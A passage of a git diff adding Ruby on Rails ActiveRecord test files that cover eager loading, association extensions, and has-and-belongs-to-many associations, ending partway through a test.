+ d2 = find_all_ordered(Client, firm_types)
+ d1.each_index do |i|
+ assert_equal(d1[i], d2[i])
+ firm_types.each { |type| assert_equal(d1[i].send(type), d2[i].send(type)) }
+ end
+ end
+ def test_eager_with_valid_association_as_string_not_symbol
+ assert_nothing_raised { Post.all.merge!(:includes => 'comments').to_a }
+ end
+
+ def test_eager_with_floating_point_numbers
+ assert_queries(2) do
+ # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
+ Comment.all.merge!(:where => "123.456 = 123.456", :includes => :post).to_a
+ end
+ end
+
+ def test_preconfigured_includes_with_belongs_to
+ author = posts(:welcome).author_with_posts
+ assert_no_queries {assert_equal 5, author.posts.size}
+ end
+
+ def test_preconfigured_includes_with_has_one
+ comment = posts(:sti_comments).very_special_comment_with_post
+ assert_no_queries {assert_equal posts(:sti_comments), comment.post}
+ end
+
+ def test_preconfigured_includes_with_has_many
+ posts = authors(:david).posts_with_comments
+ one = posts.detect { |p| p.id == 1 }
+ assert_no_queries do
+ assert_equal 5, posts.size
+ assert_equal 2, one.comments.size
+ end
+ end
+
+ def test_preconfigured_includes_with_habtm
+ posts = authors(:david).posts_with_categories
+ one = posts.detect { |p| p.id == 1 }
+ assert_no_queries do
+ assert_equal 5, posts.size
+ assert_equal 2, one.categories.size
+ end
+ end
+
+ def test_preconfigured_includes_with_has_many_and_habtm
+ posts = authors(:david).posts_with_comments_and_categories
+ one = posts.detect { |p| p.id == 1 }
+ assert_no_queries do
+ assert_equal 5, posts.size
+ assert_equal 2, one.comments.size
+ assert_equal 2, one.categories.size
+ end
+ end
+
+ def test_count_with_include
+ if current_adapter?(:SybaseAdapter)
+ assert_equal 3, authors(:david).posts_with_comments.where("len(comments.body) > 15").references(:comments).count
+ elsif current_adapter?(:OpenBaseAdapter)
+ assert_equal 3, authors(:david).posts_with_comments.where("length(FETCHBLOB(comments.body)) > 15").references(:comments).count
+ else
+ assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
+ end
+ end
+
+ def test_load_with_sti_sharing_association
+ assert_queries(2) do #should not do 1 query per subclass
+ Comment.includes(:post).to_a
+ end
+ end
+
+ def test_conditions_on_join_table_with_include_and_limit
+ assert_equal 3, Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
+ end
+
+ def test_dont_create_temporary_active_record_instances
+ Developer.instance_count = 0
+ developers = Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a
+ assert_equal developers.count, Developer.instance_count
+ end
+
+ def test_order_on_join_table_with_include_and_limit
+ assert_equal 5, Developer.all.merge!(:includes => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).to_a.size
+ end
+
+ def test_eager_loading_with_order_on_joined_table_preloads
+ posts = assert_queries(2) do
+ Post.all.merge!(:joins => :comments, :includes => :author, :order => 'comments.id DESC').to_a
+ end
+ assert_equal posts(:eager_other), posts[1]
+ assert_equal authors(:mary), assert_no_queries { posts[1].author}
+ end
+
+ def test_eager_loading_with_conditions_on_joined_table_preloads
+ posts = assert_queries(2) do
+ Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => [:comments], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
+ end
+ assert_equal [posts(:welcome)], posts
+ assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+ posts = assert_queries(2) do
+ Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => [:comments], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
+ end
+ assert_equal [posts(:welcome)], posts
+ assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+ posts = assert_queries(2) do
+ Post.all.merge!(:includes => :author, :joins => {:taggings => :tag}, :where => "tags.name = 'General'", :order => 'posts.id').to_a
+ end
+ assert_equal posts(:welcome, :thinking), posts
+
+ posts = assert_queries(2) do
+ Post.all.merge!(:includes => :author, :joins => {:taggings => {:tag => :taggings}}, :where => "taggings_tags.super_tag_id=2", :order => 'posts.id').to_a
+ end
+ assert_equal posts(:welcome, :thinking), posts
+ end
+
+ def test_preload_has_many_with_association_condition_and_default_scope
+ post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+ Reader.create! :person => people(:david), :post => post
+ LazyReader.create! :person => people(:susan), :post => post
+
+ assert_equal 1, post.lazy_readers.to_a.size
+ assert_equal 2, post.lazy_readers_skimmers_or_not.to_a.size
+
+ post_with_readers = Post.includes(:lazy_readers_skimmers_or_not).find(post.id)
+ assert_equal 2, post_with_readers.lazy_readers_skimmers_or_not.to_a.size
+ end
+
+ def test_eager_loading_with_conditions_on_string_joined_table_preloads
+ posts = assert_queries(2) do
+ Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
+ end
+ assert_equal [posts(:welcome)], posts
+ assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+ posts = assert_queries(2) do
+ Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
+ end
+ assert_equal [posts(:welcome)], posts
+ assert_equal authors(:david), assert_no_queries { posts[0].author}
+ end
+
+ def test_eager_loading_with_select_on_joined_table_preloads
+ posts = assert_queries(2) do
+ Post.all.merge!(:select => 'posts.*, authors.name as author_name', :includes => :comments, :joins => :author, :order => 'posts.id').to_a
+ end
+ assert_equal 'David', posts[0].author_name
+ assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments}
+ end
+
+ def test_eager_loading_with_conditions_on_join_model_preloads
+ authors = assert_queries(2) do
+ Author.all.merge!(:includes => :author_address, :joins => :comments, :where => "posts.title like 'Welcome%'").to_a
+ end
+ assert_equal authors(:david), authors[0]
+ assert_equal author_addresses(:david_address), authors[0].author_address
+ end
+
+ def test_preload_belongs_to_uses_exclusive_scope
+ people = Person.males.merge(:includes => :primary_contact).to_a
+ assert_not_equal people.length, 0
+ people.each do |person|
+ assert_no_queries {assert_not_nil person.primary_contact}
+ assert_equal Person.find(person.id).primary_contact, person.primary_contact
+ end
+ end
+
+ def test_preload_has_many_uses_exclusive_scope
+ people = Person.males.includes(:agents).to_a
+ people.each do |person|
+ assert_equal Person.find(person.id).agents, person.agents
+ end
+ end
+
+ def test_preload_has_many_using_primary_key
+ expected = Firm.first.clients_using_primary_key.to_a
+ firm = Firm.includes(:clients_using_primary_key).first
+ assert_no_queries do
+ assert_equal expected, firm.clients_using_primary_key
+ end
+ end
+
+ def test_include_has_many_using_primary_key
+ expected = Firm.find(1).clients_using_primary_key.sort_by(&:name)
+ # Oracle adapter truncates alias to 30 characters
+ if current_adapter?(:OracleAdapter)
+ firm = Firm.all.merge!(:includes => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies'[0,30]+'.name').find(1)
+ else
+ firm = Firm.all.merge!(:includes => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name').find(1)
+ end
+ assert_no_queries do
+ assert_equal expected, firm.clients_using_primary_key
+ end
+ end
+
+ def test_preload_has_one_using_primary_key
+ expected = accounts(:signals37)
+ firm = Firm.all.merge!(:includes => :account_using_primary_key, :order => 'companies.id').first
+ assert_no_queries do
+ assert_equal expected, firm.account_using_primary_key
+ end
+ end
+
+ def test_include_has_one_using_primary_key
+ expected = accounts(:signals37)
+ firm = Firm.all.merge!(:includes => :account_using_primary_key, :order => 'accounts.id').to_a.detect {|f| f.id == 1}
+ assert_no_queries do
+ assert_equal expected, firm.account_using_primary_key
+ end
+ end
+
+ def test_preloading_empty_belongs_to
+ c = Client.create!(:name => 'Foo', :client_of => Company.maximum(:id) + 1)
+
+ client = assert_queries(2) { Client.preload(:firm).find(c.id) }
+ assert_no_queries { assert_nil client.firm }
+ end
+
+ def test_preloading_empty_belongs_to_polymorphic
+ t = Tagging.create!(:taggable_type => 'Post', :taggable_id => Post.maximum(:id) + 1, :tag => tags(:general))
+
+ tagging = assert_queries(2) { Tagging.preload(:taggable).find(t.id) }
+ assert_no_queries { assert_nil tagging.taggable }
+ end
+
+ def test_preloading_through_empty_belongs_to
+ c = Client.create!(:name => 'Foo', :client_of => Company.maximum(:id) + 1)
+
+ client = assert_queries(2) { Client.preload(:accounts).find(c.id) }
+ assert_no_queries { assert client.accounts.empty? }
+ end
+
+ def test_preloading_has_many_through_with_uniq
+ mary = Author.includes(:unique_categorized_posts).where(:id => authors(:mary).id).first
+ assert_equal 1, mary.unique_categorized_posts.length
+ assert_equal 1, mary.unique_categorized_post_ids.length
+ end
+
+ def test_preloading_polymorphic_with_custom_foreign_type
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+ groucho = members(:groucho)
+
+ sponsor = assert_queries(2) {
+ Sponsor.includes(:thing).where(:id => sponsor.id).first
+ }
+ assert_no_queries { assert_equal groucho, sponsor.thing }
+ end
+
+ def test_joins_with_includes_should_preload_via_joins
+ post = assert_queries(1) { Post.includes(:comments).joins(:comments).order('posts.id desc').to_a.first }
+
+ assert_queries(0) do
+ assert_not_equal 0, post.comments.to_a.count
+ end
+ end
+
+ def test_join_eager_with_empty_order_should_generate_valid_sql
+ assert_nothing_raised(ActiveRecord::StatementInvalid) do
+ Post.includes(:comments).order("").where(:comments => {:body => "Thank you for the welcome"}).first
+ end
+ end
+
+ def test_join_eager_with_nil_order_should_generate_valid_sql
+ assert_nothing_raised(ActiveRecord::StatementInvalid) do
+ Post.includes(:comments).order(nil).where(:comments => {:body => "Thank you for the welcome"}).first
+ end
+ end
+
+ def test_deep_including_through_habtm
+ posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+ assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
+ assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
+ assert_no_queries { assert_equal 2, posts[1].categories[0].categorizations.length }
+ end
+
+ test "scoping with a circular preload" do
+ assert_equal Comment.find(1), Comment.preload(:post => :comments).scoping { Comment.find(1) }
+ end
+
+ test "circular preload does not modify unscoped" do
+ expected = FirstPost.unscoped.find(2)
+ FirstPost.preload(:comments => :first_post).find(1)
+ assert_equal expected, FirstPost.unscoped.find(2)
+ end
+
+ test "preload ignores the scoping" do
+ assert_equal(
+ Comment.find(1).post,
+ Post.where('1 = 0').scoping { Comment.preload(:post).find(1).post }
+ )
+ end
+
+ test "preloading does not cache has many association subset when preloaded with a through association" do
+ author = Author.includes(:comments_with_order_and_conditions, :posts).first
+ assert_no_queries { assert_equal 2, author.comments_with_order_and_conditions.size }
+ assert_no_queries { assert_equal 5, author.posts.size, "should not cache a subset of the association" }
+ end
+
+ test "preloading a through association twice does not reset it" do
+ members = Member.includes(current_membership: :club).includes(:club).to_a
+ assert_no_queries {
+ assert_equal 3, members.map(&:current_membership).map(&:club).size
+ }
+ end
+
+ test "works in combination with order(:symbol)" do
+ author = Author.includes(:posts).references(:posts).order(:name).where('posts.title IS NOT NULL').first
+ assert_equal authors(:bob), author
+ end
+end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
new file mode 100644
index 0000000..da767a2
--- /dev/null
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -0,0 +1,80 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/project'
+require 'models/developer'
+require 'models/company_in_module'
+
+class AssociationsExtensionsTest < ActiveRecord::TestCase
+ fixtures :projects, :developers, :developers_projects, :comments, :posts
+
+ def test_extension_on_has_many
+ assert_equal comments(:more_greetings), posts(:welcome).comments.find_most_recent
+ end
+
+ def test_extension_on_habtm
+ assert_equal projects(:action_controller), developers(:david).projects.find_most_recent
+ end
+
+ def test_named_extension_on_habtm
+ assert_equal projects(:action_controller), developers(:david).projects_extended_by_name.find_most_recent
+ end
+
+ def test_named_two_extensions_on_habtm
+ assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_twice.find_most_recent
+ assert_equal projects(:active_record), developers(:david).projects_extended_by_name_twice.find_least_recent
+ end
+
+ def test_named_extension_and_block_on_habtm
+ assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_and_block.find_most_recent
+ assert_equal projects(:active_record), developers(:david).projects_extended_by_name_and_block.find_least_recent
+ end
+
+ def test_extension_with_scopes
+ assert_equal comments(:greetings), posts(:welcome).comments.offset(1).find_most_recent
+ assert_equal comments(:greetings), posts(:welcome).comments.not_again.find_most_recent
+ end
+
+ def test_marshalling_extensions
+ david = developers(:david)
+ assert_equal projects(:action_controller), david.projects.find_most_recent
+
+ marshalled = Marshal.dump(david)
+
+ # Marshaling an association shouldn't make it unusable by wiping its reflection.
+ assert_not_nil david.association(:projects).reflection
+
+ david_too = Marshal.load(marshalled)
+ assert_equal projects(:action_controller), david_too.projects.find_most_recent
+ end
+
+ def test_marshalling_named_extensions
+ david = developers(:david)
+ assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+
+ marshalled = Marshal.dump(david)
+ david = Marshal.load(marshalled)
+
+ assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+ end
+
+ def test_extension_name
+ assert_equal 'DeveloperAssociationNameAssociationExtension', extension_name(Developer)
+ assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
+ assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
+ end
+
+ def test_proxy_association_after_scoped
+ post = posts(:welcome)
+ assert_equal post.association(:comments), post.comments.the_association
+ assert_equal post.association(:comments), post.comments.where('1=1').the_association
+ end
+
+ private
+
+ def extension_name(model)
+ builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
+ builder.send(:wrap_block_extension)
+ builder.extension_module.name
+ end
+end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
new file mode 100644
index 0000000..84bdca3
--- /dev/null
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -0,0 +1,870 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/customer'
+require 'models/order'
+require 'models/categorization'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/tag'
+require 'models/tagging'
+require 'models/parrot'
+require 'models/pirate'
+require 'models/treasure'
+require 'models/price_estimate'
+require 'models/club'
+require 'models/member'
+require 'models/membership'
+require 'models/sponsor'
+require 'models/country'
+require 'models/treaty'
+require 'active_support/core_ext/string/conversions'
+
+class ProjectWithAfterCreateHook < ActiveRecord::Base
+ self.table_name = 'projects'
+ has_and_belongs_to_many :developers,
+ :class_name => "DeveloperForProjectWithAfterCreateHook",
+ :join_table => "developers_projects",
+ :foreign_key => "project_id",
+ :association_foreign_key => "developer_id"
+
+ after_create :add_david
+
+ def add_david
+ david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
+ david.projects << self
+ end
+end
+
+class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects,
+ :class_name => "ProjectWithAfterCreateHook",
+ :join_table => "developers_projects",
+ :association_foreign_key => "project_id",
+ :foreign_key => "developer_id"
+end
+
+class ProjectWithSymbolsForKeys < ActiveRecord::Base
+ self.table_name = 'projects'
+ has_and_belongs_to_many :developers,
+ :class_name => "DeveloperWithSymbolsForKeys",
+ :join_table => :developers_projects,
+ :foreign_key => :project_id,
+ :association_foreign_key => "developer_id"
+end
+
+class DeveloperWithSymbolsForKeys < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects,
+ :class_name => "ProjectWithSymbolsForKeys",
+ :join_table => :developers_projects,
+ :association_foreign_key => :project_id,
+ :foreign_key => "developer_id"
+end
+
+class DeveloperWithCounterSQL < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ ActiveSupport::Deprecation.silence do
+ has_and_belongs_to_many :projects,
+ :class_name => "DeveloperWithCounterSQL",
+ :join_table => "developers_projects",
+ :association_foreign_key => "project_id",
+ :foreign_key => "developer_id",
+ :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
+ end
+end
+
+class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
+ fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
+ :parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
+
+ def setup_data_for_habtm_case
+ ActiveRecord::Base.connection.execute('delete from countries_treaties')
+
+ country = Country.new(:name => 'India')
+ country.country_id = 'c1'
+ country.save!
+
+ treaty = Treaty.new(:name => 'peace')
+ treaty.treaty_id = 't1'
+ country.treaties << treaty
+ end
+
+ def test_should_property_quote_string_primary_keys
+ setup_data_for_habtm_case
+
+ con = ActiveRecord::Base.connection
+ sql = 'select * from countries_treaties'
+ record = con.select_rows(sql).last
+ assert_equal 'c1', record[0]
+ assert_equal 't1', record[1]
+ end
+
+ def test_proper_usage_of_primary_keys_and_join_table
+ setup_data_for_habtm_case
+
+ assert_equal 'country_id', Country.primary_key
+ assert_equal 'treaty_id', Treaty.primary_key
+
+ country = Country.first
+ assert_equal 1, country.treaties.count
+ end
+
+ def test_has_and_belongs_to_many
+ david = Developer.find(1)
+
+ assert !david.projects.empty?
+ assert_equal 2, david.projects.size
+
+ active_record = Project.find(1)
+ assert !active_record.developers.empty?
+ assert_equal 3, active_record.developers.size
+ assert active_record.developers.include?(david)
+ end
+
+ def test_adding_single
+ jamis = Developer.find(2)
+ jamis.projects.reload # causing the collection to load
+ action_controller = Project.find(2)
+ assert_equal 1, jamis.projects.size
+ assert_equal 1, action_controller.developers.size
+
+ jamis.projects << action_controller
+
+ assert_equal 2, jamis.projects.size
+ assert_equal 2, jamis.projects(true).size
+ assert_equal 2, action_controller.developers(true).size
+ end
+
+ def test_adding_type_mismatch
+ jamis = Developer.find(2)
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << nil }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << 1 }
+ end
+
+ def test_adding_from_the_project
+ jamis = Developer.find(2)
+ action_controller = Project.find(2)
+ action_controller.developers.reload
+ assert_equal 1, jamis.projects.size
+ assert_equal 1, action_controller.developers.size
+
+ action_controller.developers << jamis
+
+ assert_equal 2, jamis.projects(true).size
+ assert_equal 2, action_controller.developers.size
+ assert_equal 2, action_controller.developers(true).size
+ end
+
+ def test_adding_from_the_project_fixed_timestamp
+ jamis = Developer.find(2)
+ action_controller = Project.find(2)
+ action_controller.developers.reload
+ assert_equal 1, jamis.projects.size
+ assert_equal 1, action_controller.developers.size
+ updated_at = jamis.updated_at
+
+ action_controller.developers << jamis
+
+ assert_equal updated_at, jamis.updated_at
+ assert_equal 2, jamis.projects(true).size
+ assert_equal 2, action_controller.developers.size
+ assert_equal 2, action_controller.developers(true).size
+ end
+
+ def test_adding_multiple
+ aredridel = Developer.new("name" => "Aredridel")
+ aredridel.save
+ aredridel.projects.reload
+ aredridel.projects.push(Project.find(1), Project.find(2))
+ assert_equal 2, aredridel.projects.size
+ assert_equal 2, aredridel.projects(true).size
+ end
+
+ def test_adding_a_collection
+ aredridel = Developer.new("name" => "Aredridel")
+ aredridel.save
+ aredridel.projects.reload
+ aredridel.projects.concat([Project.find(1), Project.find(2)])
+ assert_equal 2, aredridel.projects.size
+ assert_equal 2, aredridel.projects(true).size
+ end
+
+ def test_habtm_adding_before_save
+ no_of_devels = Developer.count
+ no_of_projects = Project.count
+ aredridel = Developer.new("name" => "Aredridel")
+ aredridel.projects.concat([Project.find(1), p = Project.new("name" => "Projekt")])
+ assert !aredridel.persisted?
+ assert !p.persisted?
+ assert aredridel.save
+ assert aredridel.persisted?
+ assert_equal no_of_devels+1, Developer.count
+ assert_equal no_of_projects+1, Project.count
+ assert_equal 2, aredridel.projects.size
+ assert_equal 2, aredridel.projects(true).size
+ end
+
+ def test_habtm_saving_multiple_relationships
+ new_project = Project.new("name" => "Grimetime")
+ amount_of_developers = 4
+ developers = (0...amount_of_developers).collect {|i| Developer.create(:name => "JME #{i}") }.reverse
+
+ new_project.developer_ids = [developers[0].id, developers[1].id]
+ new_project.developers_with_callback_ids = [developers[2].id, developers[3].id]
+ assert new_project.save
+
+ new_project.reload
+ assert_equal amount_of_developers, new_project.developers.size
+ assert_equal developers, new_project.developers
+ end
+
+ def test_habtm_unique_order_preserved
+ assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).non_unique_developers
+ assert_equal developers(:poor_jamis, :jamis, :david), projects(:active_record).developers
+ end
+
+ def test_build
+ devel = Developer.find(1)
+ proj = assert_no_queries { devel.projects.build("name" => "Projekt") }
+ assert !devel.projects.loaded?
+
+ assert_equal devel.projects.last, proj
+ assert devel.projects.loaded?
+
+ assert !proj.persisted?
+ devel.save
+ assert proj.persisted?
+ assert_equal devel.projects.last, proj
+ assert_equal Developer.find(1).projects.sort_by(&:id).last, proj # prove join table is updated
+ end
+
+ def test_new_aliased_to_build
+ devel = Developer.find(1)
+ proj = assert_no_queries { devel.projects.new("name" => "Projekt") }
+ assert !devel.projects.loaded?
+
+ assert_equal devel.projects.last, proj
+ assert devel.projects.loaded?
+
+ assert !proj.persisted?
+ devel.save
+ assert proj.persisted?
+ assert_equal devel.projects.last, proj
+ assert_equal Developer.find(1).projects.sort_by(&:id).last, proj # prove join table is updated
+ end
+
+ def test_build_by_new_record
+ devel = Developer.new(:name => "Marcel", :salary => 75000)
+ devel.projects.build(:name => "Make bed")
+ proj2 = devel.projects.build(:name => "Lie in it")
+ assert_equal devel.projects.last, proj2
+ assert !proj2.persisted?
+ devel.save
+ assert devel.persisted?
+ assert proj2.persisted?
+ assert_equal devel.projects.last, proj2
+ assert_equal Developer.find_by_name("Marcel").projects.last, proj2 # prove join table is updated
+ end
+
+ def test_create
+ devel = Developer.find(1)
+ proj = devel.projects.create("name" => "Projekt")
+ assert !devel.projects.loaded?
+
+ assert_equal devel.projects.last, proj
+ assert !devel.projects.loaded?
+
+ assert proj.persisted?
+ assert_equal Developer.find(1).projects.sort_by(&:id).last, proj # prove join table is updated
+ end
+
+ def test_create_by_new_record
+ devel = Developer.new(:name => "Marcel", :salary => 75000)
+ devel.projects.build(:name => "Make bed")
+ proj2 = devel.projects.build(:name => "Lie in it")
+ assert_equal devel.projects.last, proj2
+ assert !proj2.persisted?
+ devel.save
+ assert devel.persisted?
+ assert proj2.persisted?
+ assert_equal devel.projects.last, proj2
+ assert_equal Developer.find_by_name("Marcel").projects.last, proj2 # prove join table is updated
+ end
+
+ def test_creation_respects_hash_condition
+ # in Oracle '' is saved as null therefore need to save ' ' in not null column
+ post = categories(:general).post_with_conditions.build(:body => ' ')
+
+ assert post.save
+ assert_equal 'Yet Another Testing Title', post.title
+
+ # in Oracle '' is saved as null therefore need to save ' ' in not null column
+ another_post = categories(:general).post_with_conditions.create(:body => ' ')
+
+ assert another_post.persisted?
+ assert_equal 'Yet Another Testing Title', another_post.title
+ end
+
+ def test_uniq_after_the_fact
+ dev = developers(:jamis)
+ dev.projects << projects(:active_record)
+ dev.projects << projects(:active_record)
+
+ assert_equal 3, dev.projects.size
+ assert_equal 1, dev.projects.distinct.size
+ end
+
+ def test_uniq_before_the_fact
+ projects(:active_record).developers << developers(:jamis)
+ projects(:active_record).developers << developers(:david)
+ assert_equal 3, projects(:active_record, :reload).developers.size
+ end
+
+ def test_uniq_option_prevents_duplicate_push
+ project = projects(:active_record)
+ project.developers << developers(:jamis)
+ project.developers << developers(:david)
+ assert_equal 3, project.developers.size
+
+ project.developers << developers(:david)
+ project.developers << developers(:jamis)
+ assert_equal 3, project.developers.size
+ end
+
+ def test_uniq_when_association_already_loaded
+ project = projects(:active_record)
+ project.developers << [ developers(:jamis), developers(:david), developers(:jamis), developers(:david) ]
+ assert_equal 3, Project.includes(:developers).find(project.id).developers.size
+ end
+
+ def test_deleting
+ david = Developer.find(1)
+ active_record = Project.find(1)
+ david.projects.reload
+ assert_equal 2, david.projects.size
+ assert_equal 3, active_record.developers.size
+
+ david.projects.delete(active_record)
+
+ assert_equal 1, david.projects.size
+ assert_equal 1, david.projects(true).size
+ assert_equal 2, active_record.developers(true).size
+ end
+
+ def test_deleting_array
+ david = Developer.find(1)
+ david.projects.reload
+ david.projects.delete(Project.all.to_a)
+ assert_equal 0, david.projects.size
+ assert_equal 0, david.projects(true).size
+ end
+
+ def test_deleting_with_sql
+ david = Developer.find(1)
+ active_record = Project.find(1)
+ active_record.developers.reload
+ assert_equal 3, active_record.developers_by_sql.size
+
+ active_record.developers_by_sql.delete(david)
+ assert_equal 2, active_record.developers_by_sql(true).size
+ end
+
+ def test_deleting_array_with_sql
+ active_record = Project.find(1)
+ active_record.developers.reload
+ assert_equal 3, active_record.developers_by_sql.size
+
+ active_record.developers_by_sql.delete(Developer.all)
+ assert_equal 0, active_record.developers_by_sql(true).size
+ end
+
+ def test_deleting_all_with_sql
+ project = Project.find(1)
+ project.developers_by_sql.delete_all
+ assert_equal 0, project.developers_by_sql.size
+ end
+
+ def test_deleting_all
+ david = Developer.find(1)
+ david.projects.reload
+ david.projects.clear
+ assert_equal 0, david.projects.size
+ assert_equal 0, david.projects(true).size
+ end
+
+ def test_removing_associations_on_destroy
+ david = DeveloperWithBeforeDestroyRaise.find(1)
+ assert !david.projects.empty?
+ david.destroy
+ assert david.projects.empty?
+ assert DeveloperWithBeforeDestroyRaise.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = 1").empty?
+ end
+
+ def test_destroying
+ david = Developer.find(1)
+ project = Project.find(1)
+ david.projects.reload
+ assert_equal 2, david.projects.size
+ assert_equal 3, project.developers.size
+
+ assert_no_difference "Project.count" do
+ david.projects.destroy(project)
+ end
+
+ join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id} AND project_id = #{project.id}")
+ assert join_records.empty?
+
+ assert_equal 1, david.reload.projects.size
+ assert_equal 1, david.projects(true).size
+ end
+
+ def test_destroying_many
+ david = Developer.find(1)
+ david.projects.reload
+ projects = Project.all.to_a
+
+ assert_no_difference "Project.count" do
+ david.projects.destroy(*projects)
+ end
+
+ join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+ assert join_records.empty?
+
+ assert_equal 0, david.reload.projects.size
+ assert_equal 0, david.projects(true).size
+ end
+
+ def test_destroy_all
+ david = Developer.find(1)
+ david.projects.reload
+ assert !david.projects.empty?
+
+ assert_no_difference "Project.count" do
+ david.projects.destroy_all
+ end
+
+ join_records = Developer.connection.select_all("SELECT * FROM developers_projects WHERE developer_id = #{david.id}")
+ assert join_records.empty?
+
+ assert david.projects.empty?
+ assert david.projects(true).empty?
+ end
+
+ def test_destroy_associations_destroys_multiple_associations
+ george = parrots(:george)
+ assert !george.pirates.empty?
+ assert !george.treasures.empty?
+
+ assert_no_difference "Pirate.count" do
+ assert_no_difference "Treasure.count" do
+ george.destroy_associations
+ end
+ end
+
+ join_records = Parrot.connection.select_all("SELECT * FROM parrots_pirates WHERE parrot_id = #{george.id}")
+ assert join_records.empty?
+ assert george.pirates(true).empty?
+
+ join_records = Parrot.connection.select_all("SELECT * FROM parrots_treasures WHERE parrot_id = #{george.id}")
+ assert join_records.empty?
+ assert george.treasures(true).empty?
+ end
+
+ def test_deprecated_push_with_attributes_was_removed
+ jamis = developers(:jamis)
+ assert_raise(NoMethodError) do
+ jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
+ end
+ end
+
+ def test_associations_with_conditions
+ assert_equal 3, projects(:active_record).developers.size
+ assert_equal 1, projects(:active_record).developers_named_david.size
+ assert_equal 1, projects(:active_record).developers_named_david_with_hash_conditions.size
+
+ assert_equal developers(:david), projects(:active_record).developers_named_david.find(developers(:david).id)
+ assert_equal developers(:david), projects(:active_record).developers_named_david_with_hash_conditions.find(developers(:david).id)
+ assert_equal developers(:david), projects(:active_record).salaried_developers.find(developers(:david).id)
+
+ projects(:active_record).developers_named_david.clear
+ assert_equal 2, projects(:active_record, :reload).developers.size
+ end
+
+ def test_find_in_association
+ # Using sql
+ assert_equal developers(:david), projects(:active_record).developers.find(developers(:david).id), "SQL find"
+
+ # Using ruby
+ active_record = projects(:active_record)
+ active_record.developers.reload
+ assert_equal developers(:david), active_record.developers.find(developers(:david).id), "Ruby find"
+ end
+
+ def test_include_uses_array_include_after_loaded
+ project = projects(:active_record)
+ project.developers.load_target
+
+ developer = project.developers.first
+
+ assert_no_queries do
+ assert project.developers.loaded?
+ assert project.developers.include?(developer)
+ end
+ end
+
+ def test_include_checks_if_record_exists_if_target_not_loaded
+ project = projects(:active_record)
+ developer = project.developers.first
+
+ project.reload
+ assert ! project.developers.loaded?
+ assert_queries(1) do
+ assert project.developers.include?(developer)
+ end
+ assert ! project.developers.loaded?
+ end
+
+ def test_include_returns_false_for_non_matching_record_to_verify_scoping
+ project = projects(:active_record)
+ developer = Developer.create :name => "Bryan", :salary => 50_000
+
+ assert ! project.developers.loaded?
+ assert ! project.developers.include?(developer)
+ end
+
+ def test_find_in_association_with_custom_finder_sql
+ assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
+
+ active_record = projects(:active_record)
+ active_record.developers_with_finder_sql.reload
+ assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
+ end
+
+ def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
+ # interpolate once:
